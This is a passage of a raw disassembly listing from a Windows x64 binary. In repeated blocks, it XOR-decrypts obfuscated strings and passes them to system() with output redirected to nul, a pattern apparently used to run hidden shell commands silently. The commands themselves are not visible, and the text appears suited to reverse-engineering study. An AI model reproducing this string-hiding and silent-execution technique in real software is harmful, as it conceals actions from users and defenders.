lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x36
jl 0x140050ca1
mov r8, rbx
lea rcx, [rbp + 0x2b60]
mov rdx, r10
call fcn.140078410
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x2b80]
call fcn.140078470
mov rcx, rax
call fcn.140077710
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x2b80]
call fcn.140077840
lea rcx, [rbp + 0x2b60]
call fcn.140077840
lea rcx, [rbp + 0x2b40]
call fcn.140077840
mov edx, 8
lea rcx, [rbp + 0x2ba0]
call fcn.140042780
mov rbx, rax
lea rdx, [rbp + 0x49ae]
xor eax, eax
lea rcx, [rbp + 0x2e]
mov byte [rbp + 0x2e], al
call fcn.140070290
mov r10, rax
cmp byte [rax + 0x35], 0
je 0x140050ec4
mov r8d, r14d
cmp r15d, 2
jl 0x140050e7c
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x140050d81
cmp r8d, 0x36
jge 0x140050ec4
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x36
jl 0x140050e90
mov r8, rbx
lea rcx, [rbp + 0x2bc0]
mov rdx, r10
call fcn.140078410
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x2be0]
call fcn.140078470
mov rcx, rax
call fcn.140077710
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x2be0]
call fcn.140077840
lea rcx, [rbp + 0x2bc0]
call fcn.140077840
lea rcx, [rbp + 0x2ba0]
call fcn.140077840
mov byte [0x1404de285], 0
cmp byte [0x1404de239], 0
je 0x140051383
mov edx, 0xa
lea rcx, [rbp + 0x2c00]
call fcn.140042780
mov edx, r13d
lea rcx, [rbp + 0x2c20]
mov rbx, rax
call fcn.140042780
mov rdi, rax
lea rdx, [rbp + 0x47d5]
xor eax, eax
lea rcx, [rbp + 0x2f]
mov byte [rbp + 0x2f], al
call fcn.1400702d0
mov r10, rax
cmp byte [rax + 0x33], 0
je 0x1400510d5
mov r8d, r14d
cmp r15d, 2
jl 0x14005109b
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x140050fa0
cmp r8d, 0x34
jge 0x1400510d5
movsxd r9, r8d
add r9, r10
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x34
jl 0x1400510a1
mov r8, rdi
lea rcx, [rbp + 0x2c40]
mov rdx, r10
call fcn.140078410
mov r8, rbx
lea rcx, [rbp + 0x2c60]
mov rdx, rax
call fcn.140078550
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x2c80]
call fcn.140078470
mov rcx, rax
call fcn.140077710
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x2c80]
call fcn.140077840
lea rcx, [rbp + 0x2c60]
call fcn.140077840
lea rcx, [rbp + 0x2c40]
call fcn.140077840
lea rcx, [rbp + 0x2c20]
call fcn.140077840
lea rcx, [rbp + 0x2c00]
call fcn.140077840
mov edx, 0xa
lea rcx, [rbp + 0x2ca0]
call fcn.140042780
mov edx, r13d
lea rcx, [rbp + 0x2cc0]
mov rbx, rax
call fcn.140042780
mov rdi, rax
lea rdx, [rbp + 0x4809]
xor eax, eax
lea rcx, [rbp + 0x30]
mov byte [rbp + 0x30], al
call fcn.140070300
mov r10, rax
cmp byte [rax + 0x33], 0
je 0x1400512f5
mov r8d, r14d
cmp r15d, 2
jl 0x1400512bb
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x1400511c0
cmp r8d, 0x34
jge 0x1400512f5
movsxd r9, r8d
add r9, r10
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x34
jl 0x1400512c1
mov r8, rdi
lea rcx, [rbp + 0x2ce0]
mov rdx, r10
call fcn.140078410
mov r8, rbx
lea rcx, [rbp + 0x2d00]
mov rdx, rax
call fcn.140078550
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x2d20]
call fcn.140078470
mov rcx, rax
call fcn.140077710
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x2d20]
call fcn.140077840
lea rcx, [rbp + 0x2d00]
call fcn.140077840
lea rcx, [rbp + 0x2ce0]
call fcn.140077840
lea rcx, [rbp + 0x2cc0]
call fcn.140077840
lea rcx, [rbp + 0x2ca0]
call fcn.140077840
mov byte [0x1404de239], 0
cmp byte [0x1404de284], 0
je 0x140051768
mov edx, reloc.WS2_32.dll_listen
lea rcx, [rbp + 0x2d40]
call fcn.140042780
mov rbx, rax
lea rdx, [rbp + 0x46d6]
xor eax, eax
lea rcx, [rbp + 0x31]
mov byte [rbp + 0x31], al
call fcn.140070330
mov r10, rax
cmp byte [rax + 0x32], 0
je 0x140051515
mov r8d, r14d
cmp r15d, 2
jl 0x1400514db
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x1400513e0
cmp r8d, 0x33
jge 0x140051515
movsxd r9, r8d
add r9, r10
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x33
jl 0x1400514e1
mov r8, rbx
lea rcx, [rbp + 0x2d60]
mov rdx, r10
call fcn.140078410
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x2d80]
call fcn.140078470
mov rcx, rax
call fcn.140077710
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x2d80]
call fcn.140077840
lea rcx, [rbp + 0x2d60]
call fcn.140077840
lea rcx, [rbp + 0x2d40]
call fcn.140077840
mov edx, reloc.WS2_32.dll_listen
lea rcx, [rbp + 0x2da0]
call fcn.140042780
mov rbx, rax
lea rdx, [rbp + 0x4709]
xor eax, eax
lea rcx, [rbp + 0x32]
mov byte [rbp + 0x32], al
call fcn.140070370
mov r10, rax
cmp byte [rax + 0x32], 0
je 0x140051704
mov r8d, r14d
cmp r15d, 2
jl 0x1400516bc
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x1400515c1
cmp r8d, 0x33
jge 0x140051704
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x33
jl 0x1400516d0
mov r8, rbx
lea rcx, [rbp + 0x2dc0]
mov rdx, r10
call fcn.140078410
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x2de0]
call fcn.140078470
mov rcx, rax
call fcn.140077710
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x2de0]
call fcn.140077840
lea rcx, [rbp + 0x2dc0]
call fcn.140077840
lea rcx, [rbp + 0x2da0]
call fcn.140077840
mov byte [0x1404de284], 0
cmp byte [0x1404de23a], 0
je 0x140051b58
mov edx, 0xa
lea rcx, [rbp + 0x2e00]
call fcn.140042780
mov rbx, rax
lea rdx, [rbp + 0x48d9]
xor eax, eax
lea rcx, [rbp + 0x33]
mov byte [rbp + 0x33], al
call fcn.1400703b0
mov r10, rax
cmp byte [rax + 0x34], 0
je 0x140051905
mov r8d, r14d
cmp r15d, 2
jl 0x1400518cb
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x1400517d0
cmp r8d, 0x35
jge 0x140051905
movsxd r9, r8d
add r9, r10
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x35
jl 0x1400518d1
mov r8, rbx
lea rcx, [rbp + 0x2e20]
mov rdx, r10
call fcn.140078410
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x2e40]
call fcn.140078470
mov rcx, rax
call fcn.140077710
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x2e40]
call fcn.140077840
lea rcx, [rbp + 0x2e20]
call fcn.140077840
lea rcx, [rbp + 0x2e00]
call fcn.140077840
mov edx, 0xa
lea rcx, [rbp + 0x2e60]
call fcn.140042780
mov rbx, rax
lea rdx, [rbp + 0x490e]
xor eax, eax
lea rcx, [rbp + 0x34]
mov byte [rbp + 0x34], al
call fcn.1400703f0
mov r10, rax
cmp byte [rax + 0x34], 0
je 0x140051af4
mov r8d, r14d
cmp r15d, 2
jl 0x140051aac
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x1400519b1
cmp r8d, 0x35
jge 0x140051af4
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x35
jl 0x140051ac0
mov r8, rbx
lea rcx, [rbp + 0x2e80]
mov rdx, r10
call fcn.140078410
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x2ea0]
call fcn.140078470
mov rcx, rax
call fcn.140077710
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x2ea0]
call fcn.140077840
lea rcx, [rbp + 0x2e80]
call fcn.140077840
lea rcx, [rbp + 0x2e60]
call fcn.140077840
mov byte [0x1404de23a], 0
cmp byte [0x1404de238], 0
je 0x140051fb3
mov edx, 5
lea rcx, [rbp + 0x2ec0]
call fcn.140042780
mov edx, ntohs
lea rcx, [rbp + 0x2ee0]
mov rbx, rax
call fcn.140042780
mov rdi, rax
lea rdx, [rbp + 0x473c]
xor eax, eax
lea rcx, [rbp + 0x35]
mov byte [rbp + 0x35], al
call fcn.140070430
mov r10, rax
cmp byte [rax + 0x32], 0
je 0x140051d05
mov r8d, r14d
cmp r15d, 2
jl 0x140051ccb
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x140051bd0
cmp r8d, 0x33
jge 0x140051d05
movsxd r9, r8d
add r9, r10
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x33
jl 0x140051cd1
mov r8, rdi
lea rcx, [rbp + 0x2f00]
mov rdx, r10
call fcn.140078410
mov r8, rbx
lea rcx, [rbp + 0x2f20]
mov rdx, rax
call fcn.140078550
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x2f40]
call fcn.140078470
mov rcx, rax
call fcn.140077710
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x2f40]
call fcn.140077840
lea rcx, [rbp + 0x2f20]
call fcn.140077840
lea rcx, [rbp + 0x2f00]
call fcn.140077840
lea rcx, [rbp + 0x2ee0]
call fcn.140077840
lea rcx, [rbp + 0x2ec0]
call fcn.140077840
mov edx, 5
lea rcx, [rbp + 0x2f60]
call fcn.140042780
mov edx, ntohs
lea rcx, [rbp + 0x2f80]
mov rbx, rax
call fcn.140042780
mov rdi, rax
lea rdx, [rbp + 0x476f]
xor eax, eax
lea rcx, [rbp + 0x36]
mov byte [rbp + 0x36], al
call fcn.140070470
mov r10, rax
cmp byte [rax + 0x32], 0
je 0x140051f25
mov r8d, r14d
cmp r15d, 2
jl 0x140051eeb
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x140051df0
cmp r8d, 0x33
jge 0x140051f25
movsxd r9, r8d
add r9, r10
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x33
jl 0x140051ef1
mov r8, rdi
lea rcx, [rbp + 0x2fa0]
mov rdx, r10
call fcn.140078410
mov r8, rbx
lea rcx, [rbp + 0x2fc0]
mov rdx, rax
call fcn.140078550
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x2fe0]
call fcn.140078470
mov rcx, rax
call fcn.140077710
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x2fe0]
call fcn.140077840
lea rcx, [rbp + 0x2fc0]
call fcn.140077840
lea rcx, [rbp + 0x2fa0]
call fcn.140077840
lea rcx, [rbp + 0x2f80]
call fcn.140077840
lea rcx, [rbp + 0x2f60]
call fcn.140077840
mov byte [0x1404de238], 0
cmp byte [0x1404de286], 0
je 0x140052464
mov edx, 0xa
lea rcx, [rbp + 0x3000]
call fcn.140042780
mov edx, 4
lea rcx, [rbp + 0x3020]
mov rbx, rax
call fcn.140042780
mov rdi, rax
lea rdx, [rbp + 0x483d]
xor eax, eax
lea rcx, [rbp + 0x37]
mov byte [rbp + 0x37], al
call fcn.1400704b0
mov r10, rax
cmp byte [rax + 0x33], 0
je 0x140052165
mov r8d, r14d
cmp r15d, 2
jl 0x14005212b
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
